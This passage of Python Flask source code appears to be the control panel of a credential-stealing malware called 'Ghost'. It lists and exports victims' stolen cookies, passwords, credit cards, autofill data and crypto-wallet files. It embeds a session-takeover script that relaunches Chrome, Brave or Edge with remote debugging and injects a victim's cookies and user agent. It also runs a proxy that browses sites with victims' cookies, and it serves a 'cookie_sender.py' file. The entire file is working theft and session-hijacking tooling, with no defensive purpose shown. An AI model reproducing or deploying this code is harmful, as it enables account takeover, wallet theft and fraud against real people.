    downloads = conn.execute("SELECT * FROM downloads WHERE target_id = ? ORDER BY time DESC LIMIT 1000", (target_id,)).fetchall()
    conn.close()
    return render_template("ghost_downloads.html", target=target, downloads=downloads)

@app.route("/target/<int:target_id>/bookmarks")
@login_required
def target_bookmarks(target_id):
    conn = get_db()
    target = conn.execute("SELECT * FROM targets WHERE id = ?", (target_id,)).fetchone()
    bookmarks = conn.execute("SELECT * FROM bookmarks WHERE target_id = ? ORDER BY folder, name", (target_id,)).fetchall()
    conn.close()
    return render_template("ghost_bookmarks.html", target=target, bookmarks=bookmarks)

@app.route("/target/<int:target_id>/autofill")
@login_required
def target_autofill(target_id):
    conn = get_db()
    target = conn.execute("SELECT * FROM targets WHERE id = ?", (target_id,)).fetchone()
    entries = conn.execute("SELECT * FROM autofill WHERE target_id = ? ORDER BY count DESC LIMIT 500", (target_id,)).fetchall()
    conn.close()
    return render_template("ghost_autofill.html", target=target, entries=entries)

@app.route("/target/<int:target_id>/wallets")
@login_required
def target_wallets(target_id):
    conn = get_db()
    target = conn.execute("SELECT * FROM targets WHERE id = ?", (target_id,)).fetchone()
    wallets = conn.execute("SELECT * FROM wallets WHERE target_id = ? ORDER BY wallet_name, file_name", (target_id,)).fetchall()
    dwallets = conn.execute("SELECT * FROM desktop_wallets WHERE target_id = ? ORDER BY wallet_name, file_name", (target_id,)).fetchall()
    conn.close()
    return render_template("ghost_wallets.html", target=target, wallets=wallets, dwallets=dwallets)

@app.route("/wallet/download/<int:wallet_id>")
@login_required
def download_wallet(wallet_id):
    conn = get_db()
    row = conn.execute("SELECT file_name, file_data, wallet_name FROM wallets WHERE id = ?", (wallet_id,)).fetchone()
    if not row:
        row = conn.execute("SELECT file_name, file_data, wallet_name FROM desktop_wallets WHERE id = ?", (wallet_id,)).fetchone()
    conn.close()
    if not row:
        abort(404)
    return Response(row["file_data"], content_type="application/octet-stream",
                    headers={"Content-Disposition": f'attachment; filename="{row["file_name"]}"'})

@app.route("/target/<int:target_id>/useragents")
@login_required
def target_useragents(target_id):
    conn = get_db()
    target = conn.execute("SELECT * FROM targets WHERE id = ?", (target_id,)).fetchone()
    uas = conn.execute("SELECT * FROM user_agents WHERE target_id = ?", (target_id,)).fetchall()
    conn.close()
    return render_template("ghost_useragents.html", target=target, uas=uas)

# Takeover
GHOST_TAKEOVER_PY = r"""#!/usr/bin/env python3
import json, sys, time, os, subprocess, zipfile, urllib.request as req
try:
    import websocket
except ImportError:
    subprocess.check_call([sys.executable, "-m", "pip", "install", "websocket-client", "--quiet", "--no-warn-script-location"],
                          stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    import websocket

BROWSERS = {
    'chrome': {
        'paths': [
            os.path.join(os.getenv('PROGRAMFILES', ''), 'Google', 'Chrome', 'Application', 'chrome.exe'),
            os.path.join(os.getenv('PROGRAMFILES(X86)', ''), 'Google', 'Chrome', 'Application', 'chrome.exe'),
            os.path.join(os.getenv('LOCALAPPDATA', ''), 'Google', 'Chrome', 'Application', 'chrome.exe'),
        ],
        'user_data': os.path.join(os.getenv('LOCALAPPDATA', ''), 'Google', 'Chrome', 'User Data'),
        'process': 'chrome.exe',
    },
    'brave': {
        'paths': [
            os.path.join(os.getenv('PROGRAMFILES', ''), 'BraveSoftware', 'Brave-Browser', 'Application', 'brave.exe'),
            os.path.join(os.getenv('PROGRAMFILES(X86)', ''), 'BraveSoftware', 'Brave-Browser', 'Application', 'brave.exe'),
            os.path.join(os.getenv('LOCALAPPDATA', ''), 'BraveSoftware', 'Brave-Browser', 'Application', 'brave.exe'),
        ],
        'user_data': os.path.join(os.getenv('LOCALAPPDATA', ''), 'BraveSoftware', 'Brave-Browser', 'User Data'),
        'process': 'brave.exe',
    },
    'edge': {
        'paths': [
            os.path.join(os.getenv('PROGRAMFILES', ''), 'Microsoft', 'Edge', 'Application', 'msedge.exe'),
            os.path.join(os.getenv('PROGRAMFILES(X86)', ''), 'Microsoft', 'Edge', 'Application', 'msedge.exe'),
        ],
        'user_data': os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge', 'User Data'),
        'process': 'msedge.exe',
    },
}

def find_installed():
    installed = []
    for name, cfg in BROWSERS.items():
        for path in cfg['paths']:
            if os.path.exists(path):
                installed.append(name)
                break
    return installed

def ask_browser():
    installed = find_installed()
    if not installed:
        print("\n  [!] No supported browser found")
        sys.exit(1)
    print("\n  Available browsers:")
    for i, name in enumerate(installed, 1):
        print(f"    {i}. {name}")
    while True:
        try:
            choice = input(f"\n  Choose browser [1-{len(installed)}]: ").strip()
            idx = int(choice) - 1
            if 0 <= idx < len(installed):
                return installed[idx]
        except:
            pass
        print("  Invalid choice, try again")

def load_zip(zip_path):
    cookies, passwords, cards, wallets, user_agents = [], [], [], {}, {}
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for entry in zf.namelist():
            try:
                raw = zf.read(entry).decode('utf-8', errors='ignore')
                if entry.endswith('cookies.json'):
                    cookies.extend(json.loads(raw))
                elif entry.endswith('passwords.json'):
                    passwords.extend(json.loads(raw))
                elif entry.endswith('credit_cards.json'):
                    cards.extend(json.loads(raw))
                elif entry.endswith('wallets.json'):
                    wallets.update(json.loads(raw))
                elif entry == 'user_agents.json':
                    user_agents = json.loads(raw)
            except Exception:
                continue
    return cookies, passwords, cards, wallets, user_agents

def kill_browser(browser):
    os.system(f'taskkill /F /IM {BROWSERS[browser]["process"]} >nul 2>&1')
    time.sleep(2)

def launch_browser(browser, profile, port):
    binary = None
    for path in BROWSERS[browser]['paths']:
        if os.path.exists(path):
            binary = path
            break
    if not binary:
        return False
    cmd = [
        binary, f'--remote-debugging-port={port}',
        f'--user-data-dir={BROWSERS[browser]["user_data"]}',
        f'--profile-directory={profile}', '--remote-allow-origins=*',
        '--no-first-run', '--no-default-browser-check', 'about:blank',
    ]
    subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    for _ in range(30):
        try:
            r = req.urlopen(f'http://127.0.0.1:{port}/json', timeout=1)
            if r.getcode() == 200:
                return True
        except Exception:
            pass
        time.sleep(0.5)
    return False

def connect_cdp(port):
    r = req.urlopen(f'http://127.0.0.1:{port}/json')
    targets = json.loads(r.read().decode())
    page = next((t for t in targets if t.get('type') == 'page'), targets[0])
    return websocket.create_connection(page['webSocketDebuggerUrl'], timeout=10)

def cdp_send(ws, method, params=None, cmd_id=1):
    msg = {'id': cmd_id, 'method': method}
    if params:
        msg['params'] = params
    ws.send(json.dumps(msg))
    while True:
        resp = json.loads(ws.recv())
        if resp.get('id') == cmd_id:
            return resp
        time.sleep(0.01)

def inject_cookie(ws, cookie, cmd_id):
    domain = cookie.get('domain', '')
    name = cookie.get('name', '')
    value = cookie.get('value', '')
    if not name or not value or not domain:
        return False
    samesite = str(cookie.get('sameSite', 'Lax')).lower()
    ss_map = {'no_restriction': 'None', 'none': 'None', 'lax': 'Lax', 'strict': 'Strict', 'unspecified': 'Lax'}
    ss = ss_map.get(samesite, 'Lax')
    secure = cookie.get('secure', False)
    if ss == 'None':
        secure = True
    scheme = 'https' if secure else 'http'
    clean = domain.lstrip('.')
    params = {
        'name': name, 'value': value, 'domain': domain,
        'path': cookie.get('path', '/'),
        'secure': secure, 'httpOnly': cookie.get('httpOnly', False),
        'sameSite': ss, 'url': f'{scheme}://{clean}/',
    }
    expires = cookie.get('expirationDate', 0)
    if expires and expires > 0:
        params['expires'] = float(expires)
    resp = cdp_send(ws, 'Network.setCookie', params, cmd_id=cmd_id)
    return resp.get('result', {}).get('success', False)

def main():
    print("\n  ╔══════════════════════════════════════════╗")
    print("  ║     👻  G H O S T   T A K E O V E R     ║")
    print("  ╚══════════════════════════════════════════╝")
    if len(sys.argv) < 2:
        print("\n  Usage: python ghost_takeover.py <data.zip> [browser] [profile]")
        sys.exit(1)
    source = sys.argv[1]
    if not os.path.exists(source):
        print(f"\n  [!] File not found: {source}")
        sys.exit(1)
    browser = sys.argv[2] if len(sys.argv) > 2 else None
    profile = sys.argv[3] if len(sys.argv) > 3 else 'Default'
    port = 9222
    if not browser:
        browser = ask_browser()
    if browser not in BROWSERS:
        print(f"\n  [!] Unknown browser: {browser}")
        sys.exit(1)
    print(f"\n  Source:  {source}")
    print(f"  Browser: {browser}")
    print(f"  Profile: {profile}")
    print(f"\n  [*] Loading data from zip...")
    cookies, passwords, cards, wallets, user_agents = load_zip(source)
    print(f"  [+] {len(cookies)} cookies")
    print(f"  [+] {len(passwords)} passwords")
    print(f"  [+] {len(cards)} credit cards")
    print(f"  [+] {len(wallets)} wallet vaults")
    if not cookies:
        print("\n  [!] No cookies to inject")
        sys.exit(1)
    print(f"  [*] Killing {browser}...")
    kill_browser(browser)
    print(f"  [*] Launching {browser} with debugging...")
    if not launch_browser(browser, profile, port):
        print(f"  [!] Failed to launch {browser}")
        sys.exit(1)
    print(f"  [*] Connecting to CDP...")
    try:
        ws = connect_cdp(port)
    except Exception as e:
        print(f"  [!] CDP failed: {e}")
        sys.exit(1)
    cdp_send(ws, 'Network.enable')
    victim_ua = None
    for key in user_agents:
        if any(b in key for b in [browser, 'chrome']):
            victim_ua = user_agents[key]
            break
    if not victim_ua and user_agents:
        victim_ua = next(iter(user_agents.values()))
    if victim_ua:
        cdp_send(ws, 'Network.setUserAgentOverride', {
            'userAgent': victim_ua,
            'acceptLanguage': 'en-US,en;q=0.9',
            'platform': 'Win32',
        })
        print(f"  [+] UA spoofed")
    print(f"  [*] Injecting {len(cookies)} cookies...")
    ok = fail = 0
    for i, cookie in enumerate(cookies):
        if inject_cookie(ws, cookie, cmd_id=1000 + i):
            ok += 1
        else:
            fail += 1
    print(f"  [+] Imported: {ok}")
    if fail:
        print(f"  [!] Failed:   {fail}")
    print(f"\n  ╔══════════════════════════════════════════╗")
    print(f"  ║              ✅  DONE                    ║")
    print(f"  ║  Cookies: {ok:<6} UA: {'spoofed' if victim_ua else 'default':<10}    ║")
    print(f"  ║  Browser is open. Check your sessions.   ║")
    print(f"  ╚══════════════════════════════════════════╝")
    try:
        ws.close()
    except Exception:
        pass

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print("\n  [*] Interrupted")
"""

def _build_takeover_zip(profile_id: int) -> bytes:
    conn = get_db()
    profile = conn.execute("""
        SELECT p.*, b.browser_name, t.machine_name, t.user_id
        FROM profiles p
        JOIN browsers b ON p.browser_id = b.id
        JOIN targets t ON b.target_id = t.id
        WHERE p.id = ?
    """, (profile_id,)).fetchone()
    if not profile:
        conn.close()
        abort(404)
    cookies = conn.execute("SELECT * FROM cookies WHERE profile_id = ?", (profile_id,)).fetchall()
    uas = conn.execute("SELECT * FROM user_agents WHERE target_id = (SELECT t.id FROM profiles p JOIN browsers b ON p.browser_id = b.id JOIN targets t ON b.target_id = t.id WHERE p.id = ?)", (profile_id,)).fetchall()
    conn.close()
    cookie_editor = []
    for c in cookies:
        host = c["host"]
        expires = c.get("expires", 0)
        cookie_editor.append({
            'domain': host if host.startswith('.') else f'.{host}',
            'expirationDate': expires if expires > 0 else int(datetime.now().timestamp()) + 31536000,
            'hostOnly': not host.startswith('.'),
            'httpOnly': bool(c.get("httponly", 0)),
            'name': c["name"],
            'path': c.get("path", "/"),
            'sameSite': c.get("same_site", "unspecified"),
            'secure': bool(c.get("secure", 0)),
            'session': False,
            'storeId': '0',
            'value': c["value"],
        })
    ua_dict = {u["browser_name"]: u["user_agent"] for u in uas}
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zf:
        zf.writestr('cookies.json', json.dumps(cookie_editor, indent=2))
        zf.writestr('user_agents.json', json.dumps(ua_dict, indent=2))
        zf.writestr('ghost_takeover.py', GHOST_TAKEOVER_PY)
        zf.writestr('run.bat', '@echo off\npython ghost_takeover.py cookies.json chrome Default\npause')
        zf.writestr('README.txt', 'Ghost Takeover Package\n\n1. Extract this ZIP\n2. Double-click run.bat\n3. Browser will open with victim cookies injected\n\nSupported browsers: chrome, brave, edge')
    buf.seek(0)
    return buf.read()

@app.route("/takeover/<int:profile_id>")
@login_required
def takeover_download(profile_id):
    data = _build_takeover_zip(profile_id)
    conn = get_db()
    profile = conn.execute("SELECT p.profile_name, b.browser_name, t.machine_name FROM profiles p JOIN browsers b ON p.browser_id = b.id JOIN targets t ON b.target_id = t.id WHERE p.id = ?", (profile_id,)).fetchone()
    conn.close()
    fname = f"takeover_{profile['machine_name'] or 'target'}_{profile['browser_name']}_{profile['profile_name']}.zip" if profile else f"takeover_{profile_id}.zip"
    return Response(data, content_type="application/zip",
                    headers={"Content-Disposition": f'attachment; filename="{fname}"'})

@app.route("/target/<int:target_id>/export")
@login_required
def target_export(target_id):
    conn = get_db()
    target = conn.execute("SELECT * FROM targets WHERE id = ?", (target_id,)).fetchone()
    if not target:
        abort(404)
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zf:
        cookies = conn.execute("""
            SELECT c.*, b.browser_name FROM cookies c
            JOIN profiles p ON c.profile_id = p.id
            JOIN browsers b ON p.browser_id = b.id
            WHERE b.target_id = ?
        """, (target_id,)).fetchall()
        cookie_editor = []
        for c in cookies:
            host = c["host"]
            cookie_editor.append({
                'domain': host if host.startswith('.') else f'.{host}',
                'expirationDate': c.get("expires", 0) if c.get("expires", 0) > 0 else int(datetime.now().timestamp()) + 31536000,
                'hostOnly': not host.startswith('.'),
                'httpOnly': bool(c.get("httponly", 0)),
                'name': c["name"],
                'path': c.get("path", "/"),
                'sameSite': c.get("same_site", "unspecified"),
                'secure': bool(c.get("secure", 0)),
                'session': False,
                'storeId': '0',
                'value': c["value"],
            })
        zf.writestr('cookies.json', json.dumps(cookie_editor, indent=2))
        passwords = conn.execute("SELECT * FROM passwords WHERE target_id = ?", (target_id,)).fetchall()
        if passwords:
            zf.writestr('passwords.json', json.dumps([dict(p) for p in passwords], indent=2))
        cards = conn.execute("SELECT * FROM credit_cards WHERE target_id = ?", (target_id,)).fetchall()
        if cards:
            zf.writestr('credit_cards.json', json.dumps([dict(c) for c in cards], indent=2))
        uas = conn.execute("SELECT * FROM user_agents WHERE target_id = ?", (target_id,)).fetchall()
        if uas:
            ua_dict = {u["browser_name"]: u["user_agent"] for u in uas}
            zf.writestr('user_agents.json', json.dumps(ua_dict, indent=2))
        wallets = conn.execute("SELECT * FROM wallets WHERE target_id = ?", (target_id,)).fetchall()
        if wallets:
            for w in wallets:
                safe_name = w["wallet_name"].replace('/', '_')
                safe_fname = w["file_name"].replace('/', '_')
                zf.writestr(f'wallets/{safe_name}/{safe_fname}', w["file_data"])
        dwallets = conn.execute("SELECT * FROM desktop_wallets WHERE target_id = ?", (target_id,)).fetchall()
        if dwallets:
            for dw in dwallets:
                safe_name = dw["wallet_name"].replace('/', '_')
                safe_fname = dw["file_name"].replace('/', '_')
                zf.writestr(f'desktop_wallets/{safe_name}/{safe_fname}', dw["file_data"])
    conn.close()
    buf.seek(0)
    return Response(buf.read(), content_type="application/zip",
                    headers={"Content-Disposition": f'attachment; filename="{target["machine_name"] or target["user_id"]}_ghost.zip"'})

# =========================================================================
# BROWSER VIEW — Cookie Switcher style
# =========================================================================
@app.route("/browser")
@login_required
def browser_view():
    conn = get_db()
    # Build domain list: each unique host with its browsers, profiles, cookie counts
    domains = conn.execute("""
        SELECT c.host,
               b.browser_name,
               p.profile_name,
               p.id as profile_id,
               COUNT(c.id) as cookie_count
        FROM cookies c
        JOIN profiles p ON c.profile_id = p.id
        JOIN browsers b ON p.browser_id = b.id
        JOIN targets t ON b.target_id = t.id
        WHERE t.enabled = 1
        GROUP BY c.host, b.browser_name, p.profile_name
        ORDER BY cookie_count DESC
    """).fetchall()

    # Group by host for the sidebar
    domain_map = {}
    for row in domains:
        host = row["host"]
        if host not in domain_map:
            domain_map[host] = []
        domain_map[host].append({
            "browser": row["browser_name"],
            "profile": row["profile_name"],
            "profile_id": row["profile_id"],
            "cookie_count": row["cookie_count"],
        })

    # Recent exports = targets with data, sorted by last_seen
    exports = conn.execute("""
        SELECT t.machine_name, t.last_seen,
               COUNT(DISTINCT p.id) as profile_count,
               COUNT(c.id) as cookie_count
        FROM targets t
        LEFT JOIN browsers b ON t.id = b.target_id
        LEFT JOIN profiles p ON b.id = p.browser_id
        LEFT JOIN cookies c ON p.id = c.profile_id
        GROUP BY t.id
        ORDER BY t.last_seen DESC
        LIMIT 10
    """).fetchall()

    # Default profile to load
    default_profile_id = None
    if domains:
        default_profile_id = domains[0]["profile_id"]

    conn.close()
    return render_template("browser.html",
                           domain_map=domain_map,
                           exports=exports,
                           default_profile_id=default_profile_id)

@app.route("/browser/<int:profile_id>")
@login_required
def browser_frame(profile_id):
    conn = get_db()
    profile = conn.execute("""
        SELECT p.*, b.browser_name, t.user_id, t.machine_name, t.name as target_name, t.id as target_id, b.id as browser_id
        FROM profiles p JOIN browsers b ON p.browser_id = b.id JOIN targets t ON b.target_id = t.id WHERE p.id = ?
    """, (profile_id,)).fetchone()
    domains = conn.execute("SELECT DISTINCT host FROM cookies WHERE profile_id = ? ORDER BY host", (profile_id,)).fetchall()
    conn.close()
    if not profile:
        abort(404)
    return render_template("browser_frame.html", profile=profile, domains=domains, profile_id=profile_id)

@app.route("/profile/<int:profile_id>")
@login_required
def profile_detail(profile_id):
    conn = get_db()
    profile = conn.execute("""
        SELECT p.*, b.browser_name, t.user_id, t.machine_name, t.name as target_name
        FROM profiles p JOIN browsers b ON p.browser_id = b.id JOIN targets t ON b.target_id = t.id WHERE p.id = ?
    """, (profile_id,)).fetchone()
    if not profile:
        abort(404)
    domains = conn.execute("SELECT host, COUNT(*) as count FROM cookies WHERE profile_id = ? GROUP BY host ORDER BY count DESC", (profile_id,)).fetchall()
    cookies = conn.execute("SELECT * FROM cookies WHERE profile_id = ? ORDER BY host, name LIMIT 500", (profile_id,)).fetchall()
    conn.close()
    token = hashlib.sha256((CONFIG.get("browse_token_secret", "") + str(profile_id)).encode()).hexdigest()[:16]
    return render_template("profile.html", profile=profile, domains=domains, cookies=cookies, token=token)

@app.route("/profile/<int:profile_id>/cookies")
@login_required
def profile_cookies_json(profile_id):
    conn = get_db()
    cookies = conn.execute("SELECT * FROM cookies WHERE profile_id = ?", (profile_id,)).fetchall()
    conn.close()
    return jsonify([dict(c) for c in cookies])

# =========================================================================
# PROXY
# =========================================================================
def _can_proxy(profile_id: int) -> bool:
    if not CONFIG.get("proxy_enabled", True):
        return False
    conn = get_db()
    row = conn.execute("""
        SELECT t.proxy_enabled FROM profiles p
        JOIN browsers b ON p.browser_id = b.id
        JOIN targets t ON b.target_id = t.id
        WHERE p.id = ?
    """, (profile_id,)).fetchone()
    conn.close()
    if row:
        return bool(row["proxy_enabled"])
    return CONFIG.get("proxy_global", True)

def _build_cookie_header(profile_id: int, target_host: str) -> str:
    conn = get_db()
    cookies = conn.execute("SELECT host, name, value, path, secure, httponly FROM cookies WHERE profile_id = ?", (profile_id,)).fetchall()
    conn.close()
    target_host = target_host.lower().lstrip(".")
    cookie_parts = []
    for c in cookies:
        host = c["host"].lstrip(".")
        if host == target_host or target_host.endswith("." + host) or host.endswith("." + target_host):
            cookie_parts.append(f"{c['name']}={c['value']}")
    return "; ".join(cookie_parts)

@app.route("/browse/<int:profile_id>")
@browse_access_required
def browse_landing(profile_id):
    if not _can_proxy(profile_id):
        return render_template("browse_error.html", error="Proxy disabled", target="", profile_id=profile_id)
    conn = get_db()
    profile = conn.execute("""
        SELECT p.*, b.browser_name, t.user_id, t.machine_name, t.name as target_name
        FROM profiles p JOIN browsers b ON p.browser_id = b.id JOIN targets t ON b.target_id = t.id WHERE p.id = ?
    """, (profile_id,)).fetchone()
    if not profile:
        abort(404)
    domains = conn.execute("SELECT DISTINCT host FROM cookies WHERE profile_id = ? ORDER BY host", (profile_id,)).fetchall()
    conn.close()
    token = hashlib.sha256((CONFIG.get("browse_token_secret", "") + str(profile_id)).encode()).hexdigest()[:16]
    return render_template("browse_landing.html", profile=profile, domains=domains, token=token)

@app.route("/browse/<int:profile_id>/go")
@browse_access_required
def browse_go(profile_id):
    if not _can_proxy(profile_id):
        return render_template("browse_error.html", error="Proxy disabled", target="", profile_id=profile_id)
    target = request.args.get("url", "").strip()
    if not target:
        return redirect(url_for("browse_landing", profile_id=profile_id))
    if not target.startswith(("http://", "https://")):
        target = "https://" + target
    parsed = urllib.parse.urlparse(target)
    target_host = parsed.netloc.lower()
    if ":" in target_host:
        target_host = target_host.split(":")[0]
    cookie_header = _build_cookie_header(profile_id, target_host)
    try:
        req = urllib.request.Request(target, headers={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/126.0.0.0 Safari/537.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "identity", "Connection": "keep-alive",
        })
        if cookie_header:
            req.add_header("Cookie", cookie_header)
        with urllib.request.urlopen(req, timeout=30) as resp:
            content_type = resp.headers.get("Content-Type", "text/html")
            data = resp.read()
            if "text/html" in content_type:
                text = data.decode("utf-8", errors="replace")
                text = _rewrite_html(text, target, profile_id)
                return Response(text, content_type="text/html; charset=utf-8")
            return Response(data, content_type=content_type)
    except Exception as e:
        return render_template("browse_error.html", error=str(e), target=target, profile_id=profile_id)

@app.route("/browse/<int:profile_id>/proxy")
@browse_access_required
def browse_proxy(profile_id):
    if not _can_proxy(profile_id):
        return "/* Proxy disabled */", 403
    target = request.args.get("url", "").strip()
    if not target:
        return "", 204
    parsed_target = urllib.parse.urlparse(target)
    target_host = parsed_target.netloc.lower()
    if ":" in target_host:
        target_host = target_host.split(":")[0]
    cookie_header = _build_cookie_header(profile_id, target_host)
    try:
        req = urllib.request.Request(target, headers={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/126.0.0.0 Safari/537.0",
            "Accept": "*/*", "Referer": parsed_target.scheme + "://" + parsed_target.netloc + "/",
        })
        if cookie_header:
            req.add_header("Cookie", cookie_header)
        with urllib.request.urlopen(req, timeout=30) as resp:
            content_type = resp.headers.get("Content-Type", "application/octet-stream")
            data = resp.read()
            if "text/html" in content_type:
                text = data.decode("utf-8", errors="replace")
                text = _rewrite_html(text, target, profile_id)
                return Response(text, content_type="text/html; charset=utf-8")
            return Response(data, content_type=content_type)
    except Exception as e:
        return f"/* Proxy error: {e} */", 500

def _rewrite_html(html: str, base_url: str, profile_id: int) -> str:
    parsed = urllib.parse.urlparse(base_url)
    base = f"{parsed.scheme}://{parsed.netloc}"
    proxy_base = f"/browse/{profile_id}/proxy?url="
    def make_absolute(url: str) -> str:
        if not url or url.startswith(("data:", "javascript:", "mailto:", "tel:", "#")):
            return url
        if url.startswith("//"):
            return parsed.scheme + ":" + url
        if url.startswith("/"):
            return base + url
        if "://" not in url:
            return urllib.parse.urljoin(base_url, url)
        return url
    def proxy_url(url: str) -> str:
        abs_url = make_absolute(url)
        if abs_url == url:
            return url
        return proxy_base + urllib.parse.quote(abs_url, safe="")
    html = re.sub(r'href=["\']([^"\']+)["\']', lambda m: f'href="{proxy_url(m.group(1))}"', html)
    html = re.sub(r'src=["\']([^"\']+)["\']', lambda m: f'src="{proxy_url(m.group(1))}"', html)
    html = re.sub(r'action=["\']([^"\']+)["\']', lambda m: f'action="{proxy_url(m.group(1))}"', html)
    html = re.sub(r'url\(["\']?([^"\')\s]+)["\']?\)', lambda m: f'url("{proxy_url(m.group(1))}")', html)
    return html

# =========================================================================
# SETTINGS
# =========================================================================
@app.route("/settings", methods=["GET", "POST"])
@login_required
def settings_page():
    if request.method == "POST":
        new_pw = request.form.get("password", "").strip()
        proxy_enabled = request.form.get("proxy_enabled") == "on"
        if new_pw and len(new_pw) >= 4:
            CONFIG["admin_password"] = new_pw
        CONFIG["proxy_enabled"] = proxy_enabled
        CONFIG_PATH.write_text(json.dumps(CONFIG, indent=2))
        flash("Settings saved", "success")
        return redirect(url_for("settings_page"))
    return render_template("settings.html", config=CONFIG)

@app.route("/static/cookie_sender.py")
def serve_cookie_sender():
    sender_path = BASE_DIR / "cookie_sender.py"
    if sender_path.exists():
        with open(sender_path, "r", encoding="utf-8") as f:
            return Response(f.read(), content_type="text/plain; charset=utf-8")
    return "Not found", 404

if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=int(os.environ.get("PORT", 5000)))

application = app
